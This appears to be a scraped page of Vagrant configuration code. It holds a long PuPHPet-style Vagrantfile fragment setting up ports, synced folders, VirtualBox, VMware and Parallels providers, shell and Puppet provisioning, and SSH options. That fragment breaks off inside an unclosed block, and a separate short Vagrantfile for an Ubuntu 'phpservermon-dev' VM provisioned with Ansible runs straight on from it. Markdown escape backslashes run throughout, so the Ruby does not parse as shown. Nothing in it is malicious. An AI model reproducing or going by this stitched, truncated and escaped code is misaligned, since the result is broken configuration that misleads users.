data\['vm'\]\['network'\]\['forwarded\_port'\].each do |i, port| if port\['guest'\] != '' && port\['host'\] != '' config.vm.network :forwarded\_port, guest: port\['guest'\].to\_i, host: port\['host'\].to\_i end end  
if !data\['vm'\]\['post\_up\_message'\].nil? config.vm.post\_up\_message \= "#{data\['vm'\]\['post\_up\_message'\]}" end  
if Vagrant.has\_plugin?('vagrant-hostmanager') hosts \= Array.new()  
if !configValues\['apache'\]\['install'\].nil? && configValues\['apache'\]\['install'\].to\_i == 1 && configValues\['apache'\]\['vhosts'\].is\_a?(Hash) configValues\['apache'\]\['vhosts'\].each do |i, vhost| hosts.push(vhost\['servername'\])  
if vhost\['serveraliases'\].is\_a?(Array) vhost\['serveraliases'\].each do |vhost\_alias| hosts.push(vhost\_alias) end end end elsif !configValues\['nginx'\]\['install'\].nil? && configValues\['nginx'\]\['install'\].to\_i == 1 && configValues\['nginx'\]\['vhosts'\].is\_a?(Hash) configValues\['nginx'\]\['vhosts'\].each do |i, vhost| hosts.push(vhost\['server\_name'\])  
if vhost\['server\_aliases'\].is\_a?(Array) vhost\['server\_aliases'\].each do |x, vhost\_alias| hosts.push(vhost\_alias) end end end end  
if hosts.any? if config.vm.hostname.to\_s.strip.length == 0 config.vm.hostname \= 'puphpet-dev-machine' end  
config.hostmanager.enabled \= true config.hostmanager.manage\_host \= true config.hostmanager.ignore\_private\_ip \= false config.hostmanager.include\_offline \= false config.hostmanager.aliases \= hosts end end  
if Vagrant.has\_plugin?('vagrant-cachier') config.cache.scope \= :box end  
data\['vm'\]\['synced\_folder'\].each do |i, folder| if folder\['source'\] != '' && folder\['target'\] != '' sync\_owner \= !folder\['sync\_owner'\].nil? ? folder\['sync\_owner'\] : 'www-data' sync\_group \= !folder\['sync\_group'\].nil? ? folder\['sync\_group'\] : 'www-data'  
if folder\['sync\_type'\] == 'nfs' config.vm.synced\_folder "#{folder\['source'\]}", "#{folder\['target'\]}", id: "#{i}", type: 'nfs' elsif folder\['sync\_type'\] == 'smb' config.vm.synced\_folder "#{folder\['source'\]}", "#{folder\['target'\]}", id: "#{i}", type: 'smb' elsif folder\['sync\_type'\] == 'rsync' rsync\_args \= !folder\['rsync'\]\['args'\].nil? ? folder\['rsync'\]\['args'\] : \['--verbose', '--archive', '-z'\] rsync\_auto \= !folder\['rsync'\]\['auto'\].nil? ? folder\['rsync'\]\['auto'\] : true rsync\_exclude \= !folder\['rsync'\]\['exclude'\].nil? ? folder\['rsync'\]\['exclude'\] : \['.vagrant/'\]  
config.vm.synced\_folder "#{folder\['source'\]}", "#{folder\['target'\]}", id: "#{i}", rsync\_\_args: rsync\_args, rsync\_\_exclude: rsync\_exclude, rsync\_\_auto: rsync\_auto, type: 'rsync', group: sync\_group, owner: sync\_owner elsif data\['vm'\]\['chosen\_provider'\] == 'parallels' config.vm.synced\_folder "#{folder\['source'\]}", "#{folder\['target'\]}", id: "#{i}", group: sync\_group, owner: sync\_owner, mount\_options: \['share'\] else config.vm.synced\_folder "#{folder\['source'\]}", "#{folder\['target'\]}", id: "#{i}", group: sync\_group, owner: sync\_owner, mount\_options: \['dmode=775', 'fmode=764'\] end end end  
config.vm.usable\_port\_range \= (data\['vm'\]\['usable\_port\_range'\]\['start'\].to\_i..data\['vm'\]\['usable\_port\_range'\]\['stop'\].to\_i)  
if data\['vm'\]\['chosen\_provider'\].empty? || data\['vm'\]\['chosen\_provider'\] == 'virtualbox' ENV\['VAGRANT\_DEFAULT\_PROVIDER'\] \= 'virtualbox'  
config.vm.provider :virtualbox do |virtualbox| data\['vm'\]\['provider'\]\['virtualbox'\]\['modifyvm'\].each do |key, value| if key == 'memory' next end if key == 'cpus' next end  
if key == 'natdnshostresolver1' value \= value ? 'on' : 'off' end  
virtualbox.customize \['modifyvm', :id, "--#{key}", "#{value}"\] end  
virtualbox.customize \['modifyvm', :id, '--memory', "#{data\['vm'\]\['memory'\]}"\] virtualbox.customize \['modifyvm', :id, '--cpus', "#{data\['vm'\]\['cpus'\]}"\]  
if data\['vm'\]\['provider'\]\['virtualbox'\]\['modifyvm'\]\['name'\].nil? || data\['vm'\]\['provider'\]\['virtualbox'\]\['modifyvm'\]\['name'\].empty? if data\['vm'\]\['hostname'\].to\_s.strip.length != 0 virtualbox.customize \['modifyvm', :id, '--name', config.vm.hostname\] end end end end  
if data\['vm'\]\['chosen\_provider'\] == 'vmware\_fusion' || data\['vm'\]\['chosen\_provider'\] == 'vmware\_workstation' ENV\['VAGRANT\_DEFAULT\_PROVIDER'\] \= (data\['vm'\]\['chosen\_provider'\] == 'vmware\_fusion') ? 'vmware\_fusion' : 'vmware\_workstation'  
config.vm.provider :vmware\_fusion do |v, override| data\['vm'\]\['provider'\]\['vmware'\].each do |key, value| if key == 'memsize' next end if key == 'cpus' next end  
v.vmx\["#{key}"\] \= "#{value}" end  
v.vmx\['memsize'\] \= "#{data\['vm'\]\['memory'\]}" v.vmx\['numvcpus'\] \= "#{data\['vm'\]\['cpus'\]}"  
if data\['vm'\]\['provider'\]\['vmware'\]\['displayName'\].nil? || data\['vm'\]\['provider'\]\['vmware'\]\['displayName'\].empty? if data\['vm'\]\['hostname'\].to\_s.strip.length != 0 v.vmx\['displayName'\] \= config.vm.hostname end end end end  
if data\['vm'\]\['chosen\_provider'\] == 'parallels' ENV\['VAGRANT\_DEFAULT\_PROVIDER'\] \= 'parallels'  
config.vm.provider 'parallels' do |v| data\['vm'\]\['provider'\]\['parallels'\].each do |key, value| if key == 'memsize' next end if key == 'cpus' next end  
v.customize \['set', :id, "--#{key}", "#{value}"\] end  
v.memory \= "#{data\['vm'\]\['memory'\]}" v.cpus \= "#{data\['vm'\]\['cpus'\]}"  
if data\['vm'\]\['provider'\]\['parallels'\]\['name'\].nil? || data\['vm'\]\['provider'\]\['parallels'\]\['name'\].empty? if data\['vm'\]\['hostname'\].to\_s.strip.length != 0 v.name \= config.vm.hostname end end end end  
ssh\_username \= !data\['ssh'\]\['username'\].nil? ? data\['ssh'\]\['username'\] : 'vagrant'  
config.vm.provision 'shell' do |s| s.path \= 'puphpet/shell/initial-setup.sh' s.args \= '/vagrant/puphpet' end config.vm.provision 'shell' do |kg| kg.path \= 'puphpet/shell/ssh-keygen.sh' kg.args \= "#{ssh\_username}" end config.vm.provision :shell, :path \=> 'puphpet/shell/install-ruby.sh' config.vm.provision :shell, :path \=> 'puphpet/shell/install-puppet.sh'  
config.vm.provision :puppet do |puppet| puppet.facter \= { 'ssh\_username' \=> "#{ssh\_username}", 'provisioner\_type' \=> ENV\['VAGRANT\_DEFAULT\_PROVIDER'\], 'vm\_target\_key' \=> 'vagrantfile-local', } puppet.manifests\_path \= "#{data\['vm'\]\['provision'\]\['puppet'\]\['manifests\_path'\]}" puppet.manifest\_file \= "#{data\['vm'\]\['provision'\]\['puppet'\]\['manifest\_file'\]}" puppet.module\_path \= "#{data\['vm'\]\['provision'\]\['puppet'\]\['module\_path'\]}"  
if !data\['vm'\]\['provision'\]\['puppet'\]\['options'\].empty? puppet.options \= data\['vm'\]\['provision'\]\['puppet'\]\['options'\] end end  
config.vm.provision :shell do |s| s.path \= 'puphpet/shell/execute-files.sh' s.args \= \['exec-once', 'exec-always'\] end config.vm.provision :shell, run: 'always' do |s| s.path \= 'puphpet/shell/execute-files.sh' s.args \= \['startup-once', 'startup-always'\] end config.vm.provision :shell, :path \=> 'puphpet/shell/important-notices.sh'  
if File.file?("#{dir}/puphpet/files/dot/ssh/id\_rsa") config.ssh.private\_key\_path \= \[ "#{dir}/puphpet/files/dot/ssh/id\_rsa", "#{dir}/puphpet/files/dot/ssh/insecure\_private\_key" \] end  
if !data\['ssh'\]\['host'\].nil? config.ssh.host \= "#{data\['ssh'\]\['host'\]}" end if !data\['ssh'\]\['port'\].nil? config.ssh.port \= "#{data\['ssh'\]\['port'\]}" end if !data\['ssh'\]\['username'\].nil? config.ssh.username \= "#{data\['ssh'\]\['username'\]}" end if !data\['ssh'\]\['guest\_port'\].nil? config.ssh.guest\_port \= data\['ssh'\]\['guest\_port'\] end if !data\['ssh'\]\['shell'\].nil? config.ssh.shell \= "#{data\['ssh'\]\['shell'\]}" end if !data\['ssh'\]\['keep\_alive'\].nil? config.ssh.keep\_alive \= data\['ssh'\]\['keep\_alive'\] end if !data\['ssh'\]\['forward\_agent'\].nil? config.ssh.forward\_agent \= data\['ssh'\]\['forward\_agent'\] end if !data\['ssh'\]\['forward\_x11'\].nil? config.ssh.forward\_x11 \= data\['ssh'\]\['forward\_x11'\] end if !data\['vagrant'\]\['host'\].nil? config.vagrant.host \= data\['vagrant'\]\['host'\].gsub(':', '').intern \# -\*- mode: ruby -\*- \# vi: set ft=ruby :  
ENV\['VAGRANT\_DEFAULT\_PROVIDER'\] \= 'virtualbox' Vagrant.configure("2") do |config| \##### VM definition ##### config.vm.define "phpservermon-dev" do |config| config.vm.hostname \= "phpservermon-dev" config.vm.box \= "bento/ubuntu-20.04" config.vm.box\_check\_update \= false config.vm.network "private\_network", ip: "192.168.50.100" config.vm.provision :ansible do |ansible| ansible.limit \= "all" ansible.playbook \= "provision.yaml" end config.vm.provider "virtualbox" do |vb| vb.memory \= "2048" vb.cpus \= "2" end end  
end

Tag

#ubuntu